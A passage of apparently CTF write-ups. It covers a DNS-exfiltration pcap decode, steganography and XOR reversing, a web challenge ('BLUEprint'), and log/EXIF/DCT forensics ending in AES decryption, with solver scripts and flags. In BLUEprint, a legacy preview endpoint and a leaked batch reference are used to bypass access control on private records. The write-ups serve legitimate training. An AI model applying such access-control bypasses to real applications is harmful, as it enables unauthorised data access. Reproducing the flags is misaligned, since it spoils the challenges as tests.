FAMILIA2$B30852 -> Calibration rejected.
VEGGIE4$B30852 -> Calibration rejected.
COMBO12$B30852 -> Calibration rejected.
So the sealing phrase is POLLOS7$B30852 (the $ is the “one-character joiner”).
4. Decrypting manifest.enc
Parse the header and decrypt per the recipe:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import hashlib
from Crypto.Cipher import AES
data = open('manifest.enc','rb').read()
magic = data[0:4] # b'BSC2'
iters = int.from_bytes(data[4:8], 'little') # 150000
salt = data[8:24]
nonce = data[24:36]
sha = data[36:68]
ct = data[68:] # ciphertext + 16-byte tag
key = hashlib.pbkdf2_hmac('sha256', b'POLLOS7$B30852', salt, iters, 32)
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
cipher.update(b'BSC2') # AAD
pt = cipher.decrypt_and_verify(ct[:-16], ct[-16:])
assert hashlib.sha256(pt).digest() == sha # integrity check
Plaintext:
1
2
3
4
5
6
7
FRING DISTRIBUTION // VERIFIED MANIFEST
route=RV-052
window=15:08:52Z
key_fragment=d7d4299869b9d8c55138
drops_sha256=38a1d08e82459795af146e448ed7ddba0611e1da8a2eb417652f89de7647257f
mask_rule=SHA256(key_fragment + "|" + route + "|" + window); repeat digest and XOR payload bytes
instruction=Use the record matching route and window in drops.dat.
5. Unmasking the drop
drops.dat is a table of DROP2|route|window|payload_hex rows. The manifest points at RV-052 @ 15:08:52Z:
1
RV-052|15:08:52Z|61abdaeef3a48947d50f2b854c80bf8360d0dcdd8bcdbcf6976730d600e044845f
The mask_rule is a classic repeating-key XOR stream cipher keyed by a SHA-256 digest:
1
2
3
4
5
6
7
8
import hashlib
payload = bytes.fromhex("61abdaeef3a48947d50f2b854c80bf8360d0dcdd8bcdbcf6976730d600e044845f")
mask = hashlib.sha256(b"d7d4299869b9d8c55138|RV-052|15:08:52Z").digest()
mask = (mask * (len(payload)//len(mask) + 1))[:len(payload)]
flag = bytes(a ^ b for a, b in zip(payload, mask))
print(flag.decode())
Output:
1
CYS{c4rb0n_c0py_dr0ps_d0nt_c0unt}
The flag is self-referential — “carbon-copy drops don’t count” — a callback to the whole deduplication theme of the challenge. 🍗
Appendix — consolidated solver
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/env python3
import re, gzip, tarfile, hashlib, itertools
from scapy.all import *
from Crypto.Cipher import AES
B32 = "0123456789abcdefghijklmnopqrstuv"
def b32hex_decode(s):
bits = ''.join(f'{B32.index(c):05b}' for c in s)
n = (len(bits)//8)*8
return bytes(int(bits[i:i+8],2) for i in range(0,n,8))
# ---- 1. parse the exfil records ----
recs = []
for p in rdpcap('capture.pcap'):
if not p.haslayer(DNS): continue
q = p[DNS].qd.qname.decode().rstrip('.')
m = re.match(r'^s([0-9a-z]{3})([a-z])\.([0-9a-f]{4})\.([0-9a-z]+)\.([0-9a-z]+)\.([a-z0-9.-]+)$', q)
if m:
idx, typ, hx, d1, d2, dom = m.groups()
recs.append((int(idx,36), typ, hx, d1, d2, dom, p[DNS].rcode))
# ---- 2. rebuild the stream (dedupe, sort by index, drop 'r' rejects) ----
from collections import defaultdict
by = defaultdict(list)
for r in recs:
if r[1] in ('q','r'):
by[r[0]].append(r)
order = sorted(i for i in by if i % 36 == 4)
variants = {i: [] for i in order}
for i in order:
for r in by[i]:
v = (r[2], r[3], r[4])
if v not in variants[i]: variants[i].append(v)
dup = [i for i in order if len(variants[i]) > 1]
for combo in itertools.product(*[range(len(variants[i])) for i in dup]):
sel = {}
for k,i in enumerate(dup): sel[i] = variants[i][combo[k]]
for i in order:
if i not in sel: sel[i] = variants[i][0]
raw = b''.join(b32hex_decode(sel[i][1]+sel[i][2]) for i in order)
try:
tar = gzip.decompress(raw); break
except Exception: pass
with open('q_dec.bin','wb') as f: f.write(tar)
# ---- 3. decrypt the manifest ----
data = open('manifest.enc','rb').read()
key = hashlib.pbkdf2_hmac('sha256', b'POLLOS7$B30852',
data[8:24], int.from_bytes(data[4:8],'little'), 32)
c = AES.new(key, AES.MODE_GCM, nonce=data[24:36]); c.update(b'BSC2')
pt = c.decrypt_and_verify(data[68:-16], data[-16:])
print(pt.decode())
# ---- 4. unmask the drop ----
payload = bytes.fromhex('61abdaeef3a48947d50f2b854c80bf8360d0dcdd8bcdbcf6976730d600e044845f')
mask = hashlib.sha256(b'd7d4299869b9d8c55138|RV-052|15:08:52Z').digest()
flag = bytes(a^b for a,b in zip(payload, (mask*10)[:len(payload)]))
print(flag.decode()) # CYS{c4rb0n_c0py_dr0ps_d0nt_c0unt}
Notes on red herrings & dead ends
The
o-series and the 2-byte hex field. I spent a while trying to make the 24orecords (indices36·k, interleaved with theqseries in the same namespace) and the per-recordhex4field decode into something (RLE, checksums, positions). They appear to be filler/timing noise that makes the channel look busier — the actual file came entirely from theqseries. Thehex4field is likely a per-chunk tag that the “QA checker” (gzip CRC) ended up making redundant.“position precedes run length” reads like a hint toward a run-length encoding, but the recovered payload is just gzip — the phrase effectively reinforces that chunk positions (sequence numbers) must be respected before content is consumed. It isn’t load-bearing for the final decode.
drops_sha256in the manifest is the SHA-256 of the cleartext drop record (a consistency check for the route table), not of the masked payload.
Flag
CYS{c4rb0n_c0py_dr0ps_d0nt_c0unt} Blue Sky Telemetry
Blue Sky Telemetry
Author: Prateet Gogia
This is a Steganography and Reverse Engineering-based CTF challenge demonstrating layered hidden data, red herrings, and custom firmware encryption.
Firstly for the Decoy part:
Running strings artifact.jpg yields a fake Base64 string decoding to CTF{y0u_g0dd4mn_r1ght_I_h1d_1t_but_n0t_h3r3}.
For the Steganography part:
First, we check the metadata. exiftool artifact.jpg reveals Artist : c3VwZXJzZWNyZXRrZXk=, which Base64 decodes to supersecretkey.
Next, we use this for the Archive Extraction. Running steghide extract -sf artifact.jpg -p supersecretkey drops payload.zip.
For the Reverse Engineering part:
Unzipping reveals intercept_log.txt (containing a Base32 decoy and a raw hex array) and firmware_snippet.c.
The C script shows the data was encrypted using (data[i] ^ 0x33) + 0x05.
To get the final flag, the player must write a script to reverse this operation chr((byte - 0x05) ^ 0x33) against the hex array to yield the final flag: CTF{h3is3nb3rg_c00k_t3l3m3try_99_1}.
Flag
CTF{h3is3nb3rg_c00k_t3l3m3try_99_1} BLUEprint
BLUEprint
Author: Srishwar Karthik V
This is a web-based CTF challenge involving a legacy laboratory record system with forgotten files, migration artifacts, and questionable access controls.
The objective is to investigate the application, follow the traces left behind by the old system, and uncover a record that was never meant to be accessible.
Solution
Firstly, we inspect robots.txt.
1
2
3
4
User-agent: *
Disallow: /static/old/
# Residual files should have been cleaned.
This reveals the legacy directory:
1
/static/old/
We access it and find the archived laboratory record system along with a legacy JavaScript file:
1
/static/old/blueprint-v1.js
The legacy page also indicates that additional records may still exist and that the cleanup checklist may contain useful information.
Inspecting blueprint-v1.js
We inspect blueprint-v1.js and find the following API endpoints:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const API_VERSION = "v2";
function requestNote(id, preview = false) {
let endpoint = `/api/${API_VERSION}/note/${id}`;
if (preview)
endpoint += "?preview=1";
return fetch(endpoint);
}
function previewDraft(id) {
return requestNote(id, true);
}
function fetchArchive(path, batchRef) {
return fetch(`${path}?ref=${batchRef}`);
}
The important endpoints revealed by the JavaScript are:
1
/api/${API_VERSION}/note/${id}
and:
1
${path}?ref=${batchRef}
The JavaScript also reveals that the old system supports a preview parameter and archive requests using a batch reference.
Finding the Migration Log
Next, we inspect cleanup.txt.
It contains a list of migration records:
1
2
3
4
5
6
7
blueprint-v1.js
cleanup.txt
batch.log
migration.txt
migration.log
reaction.log
transfer.log
The most interesting file is:
1
/static/old/migration.log
Visiting this endpoint downloads the migration log.
The log contains information about migrated records. Among them, we find:
1
2
Migrated note id=104 visibility=private status=ok
DEBUG legacy_note_id=104 migration_batch=BP-BLUE
This tells us that note 104 is a private record and is worth investigating.
Accessing Note 104
From blueprint-v1.js, the normal note endpoint is:
1
/api/v2/note/<id>
Therefore, we try:
1
/api/v2/note/104
The server responds with an access-denied page because the note is private.
However, the legacy JavaScript contains a preview functionality:
1
?preview=1
This suggests that the old preview mechanism may behave differently from the normal access-control path.
We therefore try:
1
/api/v1/note/104?preview=1
The preview successfully reveals the contents of the restricted record.
Among the information revealed is the batch reference:
1
BLUE-99-1
We can use this reference to access the next part of the challenge.
Accessing the Los Hermanos Archive
The legacy JavaScript showed that archive requests use a ref parameter:
1
2
3
function fetchArchive(path, batchRef) {
return fetch(`${path}?ref=${batchRef}`);
}
The application contains a protected archive named:
1
los_hermanos.tar.gz
Direct access to the archive is denied.
However, we now have the required batch reference from the previewed note.
We construct the following request:
1
/backup/los_hermanos.tar.gz?ref=BLUE-99-1
The archive is successfully downloaded.
Extracting the Flag
After extracting los_hermanos.tar.gz, we find several directories and files:
1
2
3
4
5
6
config/
evidence/
manifests/
records/
README
SHA256SUMS
The relevant directory is:
1
evidence/
Inside it, we find:
1
final_manifest.txt
The final manifest contains the flag encoded in Base64.
Decoding the value gives:
1
CYS{7H3_8LU3_84TCH_15_99_1}
The complete solve chain is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
robots.txt
↓
/static/old/
↓
blueprint-v1.js
↓
cleanup.txt
↓
migration.log
↓
Find private note ID 104
↓
/api/v1/note/104?preview=1
↓
Extract batch reference BLUE-99-1
↓
/backup/los_hermanos.tar.gz?ref=BLUE-99-1
↓
Extract archive
↓
evidence/final_manifest.txt
↓
Decode Base64
↓
Flag
Flag
1
CYS{dynamic_flag}
Flag
CYS{dynamic_flag} Breaking Measures
Breaking Measures
Author: Amarnath
This is a forensics-based CTF challenge chaining SSH log analysis, HTTP access log correlation, EXIF metadata extraction, and JPEG steganography at the DCT-coefficient level, ending in a PBKDF2-derived AES decryption.
We’re given two log files, auth.log and access.log, and a folder of images.
Step 1 — Decoding the passphrase from auth.log
First, we look at auth.log. Several IPs get an “Accepted” line for an SSH login, so a successful login by itself doesn’t tell us which one is the one that matters — each candidate has to be checked individually.
For every IP that has an Accepted line, we pull all of its lines (its failed attempts plus the final accepted one, in chronological order), take the seconds field out of each timestamp, and decode it as a letter using letter = chr(65 + (seconds % 26)).
Script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import re
import sys
def main():
logfile = sys.argv[1] if len(sys.argv) > 1 else "auth.log"
with open(logfile) as f:
lines = f.readlines()
accepted_ips = []
for line in lines:
if "Accepted" in line:
m = re.search(r"from (\d+\.\d+\.\d+\.\d+)", line)
if m:
accepted_ips.append(m.group(1))
accepted_ips = list(dict.fromkeys(accepted_ips))
print(f"Found {len(accepted_ips)} IP(s) with a successful login:\n")
for ip in accepted_ips:
ip_lines = [line for line in lines if f"from {ip} " in line]
seconds_values = []
for line in ip_lines:
m = re.search(r"\d{2}:\d{2}:(\d{2})", line)
if m:
seconds_values.append(int(m.group(1)))
decoded = "".join(chr(65 + (s % 26)) for s in seconds_values)
print(f"IP: {ip}")
print(f" seconds sequence: {seconds_values}")
print(f" decoded string: {decoded}")
print()
if __name__ == "__main__":
main()
Output:
Running this against auth.log, only one of the three IPs decodes to a real word:
1
2
IP: 115.77.138.131
decoded string: HALFMEASURES
That gives us both the real IP and the passphrase, HALFMEASURES, which we’ll need again later.
Step 2 — Correlating with access.log
Next, we filter access.log by that same IP to see what it actually touched:
Command:
1
grep "115.77.138.131" access.log
Output:
1
2
3
4
5
6
GET img040.jpg 200
GET img004.jpg 200
HEAD img007.jpg 200
HEAD img042.jpg 200
GET img031.jpg 206 (x3)
GET img023.jpg 206 (x3)
Six images, in two pairs and two singles. Two files get a single plain GET — just noise. Two get a single HEAD request each — one of these is the real salt carrier, the other a decoy with an identical request pattern. Two get three repeated 206 Partial Content requests each — one is the real cipher carrier, the other a decoy shaped the same way. The log narrows things down but doesn’t hand over which file in each pair is real; that has to be confirmed by actually checking each one. In this case img042.jpg and img023.jpg turn out to be the real pair.
Step 3 — Extracting the salt from img042.jpg (EXIF)
img042.jpg carries the AES salt, hidden in its EXIF UserComment field, base32-encoded twice.
Command:
1
exiftool -UserComment images/img042.jpg
Output:
1
User Comment : JJNEGVKLKJBUOS2WI5CVSVCLIZEUMSSWJNKVGRQ=
Decode script:
1
2
3
4
5
6
7
8
9
10
import sys
import base64
if __name__ == "__main__":
encoded_once = sys.argv[1]
once = base64.b32decode(encoded_once).decode()
twice = base64.b32decode(once).decode()
print("first decode: ", once)
print("salt: ", twice)
Output:
1
2
first decode: JZCUKRCGKVGEYTKFIFJVKUSF
salt: NEEDFULLMEASURE
That gives us the salt, NEEDFULLMEASURE.
Step 4 — Extracting the cipher payload from img023.jpg (DCT steganography)
img023.jpg is where the actual encrypted flag lives, hidden inside the image’s DCT coefficients rather than pixel LSBs — this is why LSB-focused tools like steghide or zsteg come back empty on it. The coefficients used are chosen by seeding a PRNG from SHA-256 of the passphrase, shuffling the list of candidate coefficients (every non-DC coefficient with an absolute value of 2 or higher), and writing the payload’s bits into the LSB of those coefficients in that shuffled order, with a 32-bit length header first.
Script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import sys
import hashlib
import random
import jpegio as jio
def seed_from_passphrase(passphrase: bytes) -> int:
digest = hashlib.sha256(passphrase).digest()
return int.from_bytes(digest[:8], "big")
def get_candidate_coords(jpg):
coords = []
for comp_idx, arr in enumerate(jpg.coef_arrays):
h, w = arr.shape
for by in range(0, h, 8):
for bx in range(0, w, 8):
for i in range(8):
for j in range(8):
if i == 0 and j == 0:
continue
if abs(arr[by + i, bx + j]) >= 2:
coords.append((comp_idx, by + i, bx + j))
return coords
def extract(stego_path: str, passphrase: bytes) -> bytes:
jpg = jio.read(stego_path)
coords = get_candidate_coords(jpg)
rng = random.Random(seed_from_passphrase(passphrase))
rng.shuffle(coords)
header_bits = "".join(str(abs(jpg.coef_arrays[c][y, x]) & 1) for (c, y, x) in coords[:32])
length = int(header_bits, 2)
need = 32 + length * 8
data_bits = "".join(str(abs(jpg.coef_arrays[c][y, x]) & 1) for (c, y, x) in coords[32:need])
data = bytes(int(data_bits[i:i + 8], 2) for i in range(0, len(data_bits), 8))
return data
if __name__ == "__main__":
stego_path, passphrase_str = sys.argv[1], sys.argv[2]
out = extract(stego_path, passphrase_str.encode())
with open("cipher_payload_extracted.bin", "wb") as f:
f.write(out)
print(f"Extracted {len(out)} bytes -> cipher_payload_extracted.bin")
Command:
1
2
pip install jpegio
python3 solve_extract_dct.py images/img023.jpg HALFMEASURES
Output:
1
Extracted 48 bytes -> cipher_payload_extracted.bin
That’s 16 bytes of IV followed by 32 bytes of AES ciphertext.
Step 5 — Deriving the key and decrypting
Finally, the AES key is derived with PBKDF2-HMAC-SHA256 from the passphrase and salt we already have, 100,000 iterations, 32-byte output, and that key decrypts the payload with AES-CBC.
Script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives import hashes, padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
PASSPHRASE = b"HALFMEASURES"
SALT = b"NEEDFULLMEASURE"
ITERATIONS = 100_000
def derive_key(passphrase=PASSPHRASE, salt=SALT, iterations=ITERATIONS):
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=salt, iterations=iterations)
return kdf.derive(passphrase)
def decrypt(payload, key):
iv, ct = payload[:16], payload[16:]
decryptor = Cipher(algorithms.AES(key), modes.CBC(iv)).decryptor()
padded = decryptor.update(ct) + decryptor.finalize()
unpadder = padding.PKCS7(128).unpadder()
return unpadder.update(padded) + unpadder.finalize()
if __name__ == "__main__":
with open("cipher_payload_extracted.bin", "rb") as f:
payload = f.read()
key = derive_key()
flag = decrypt(payload, key)
print("FLAG:", flag.decode())
Output:
1
FLAG: CYS{no_m0r3_ha1f_m3a5ur3s}
Summary
The full chain: the seconds field in auth.log gives up the passphrase, the access.log request pattern narrows fifty images down to the two that matter, img042’s EXIF gives up the salt, img023’s DCT coefficients (unlocked by the passphrase) give up the encrypted payload, and PBKDF2 plus AES-CBC turns all of that into the flag.
Flag
CYS{no_m0r3_ha1f_m3a5ur3s}